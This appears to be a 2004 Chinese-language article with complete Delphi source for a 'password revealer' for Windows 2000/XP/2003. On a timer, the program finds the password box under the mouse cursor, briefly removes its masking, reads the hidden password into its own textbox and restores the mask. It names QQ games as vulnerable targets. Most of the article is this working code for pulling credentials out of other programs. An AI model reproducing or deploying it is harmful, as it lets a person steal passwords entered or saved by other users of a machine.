Win2000/XP/2003下的密碼探測(cè)器
在Win98下,對(duì)于別的程序的密碼框,我們可以用SendMessage函數(shù)可以對(duì)這個(gè)密碼框下一個(gè)WM_GETTEXT 的命令獲取這個(gè)密碼框的內(nèi)容。但自2000以后,微軟的安全意識(shí)似乎強(qiáng)了一點(diǎn),用這個(gè)命令對(duì)普通的窗口管用,但對(duì)于密碼框已經(jīng)不起作用了。
有不少類似的程序是通過(guò)建立動(dòng)態(tài)鏈接庫(kù)的方式來(lái)獲取,但是那樣做太麻煩了,其實(shí)我們有更簡(jiǎn)便的作法。那就是對(duì)它先下一個(gè)命令,去除它的密碼框的屬性,然后再獲取它的內(nèi)容,最后恢復(fù)它密碼框的屬性。
{ 項(xiàng)目 :Win2000/XP/2003 下*號(hào)密碼探測(cè)器 作者 :黃濤 日期 :2004年1月18日}unit uPassWord;
interface
uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls;
type TfrmPassword = class(TForm)edPassword: TEdit; //顯示密碼的文本框Timer1: TTimer; //定時(shí)器procedure Timer1Timer(Sender: TObject); private{ Private declarations } public{ Public declarations } end;
var frmPassword: TfrmPassword;
implementation
{$R *.dfm}
procedure TfrmPassword.Timer1Timer(Sender: TObject);var s:pchar; i,n:integer; p:Tpoint;h:integer; c:integer;begin getcursorpos(p); //得到當(dāng)前光標(biāo)的位置 h:=windowfrompoint(p); //當(dāng)?shù)焦鈽?biāo)處窗口的句柄 n:=getwindowlong(h ,GWL_STYLE ); //取窗口的屬性 if (n and $20) <>0 then begin //判斷是否為密碼框c:=sendMessage(h, EM_GETPASSWORDCHAR,0, 0);//得到密碼框當(dāng)前的字符 如'*'等PostMessage(h,EM_SETPASSWORDCHAR,0,0);//設(shè)置密碼框的字符為空,即去除密碼框的密碼屬性,
//此處一定要用PostMessage,而不能用 SendMessage,用后者無(wú)效i:= sendmessage(h,WM_GETTEXTLENGTH,0,0);inc(i);//取得密碼串的長(zhǎng)度getmem(s,i); //分配內(nèi)存sendmessage(h,WM_GETTEXT,i,longint(s)); //獲取密碼字符串edPassword.Text := s;//將密碼放入文本框中postMessage(h,EM_SETPASSWORDCHAR,c,0); //恢復(fù)原來(lái)的密碼屬性freemem(s); //釋放內(nèi)存 end;end;
end.
本程序在 Window Server 2003 ,Delphi 7.0 Enterprise 下編譯通過(guò)。但這個(gè)程序只對(duì)那些沒(méi)有防范的程序有效,如QQ ganme 等,但對(duì)有些防范的程序來(lái)說(shuō)還是無(wú)能為力的,如QQ2004 Beta的密碼框是沒(méi)用的。可見(jiàn)Win2000/XP/2003密碼框的安全也是相對(duì)的,要想安全還要自己想辦法。
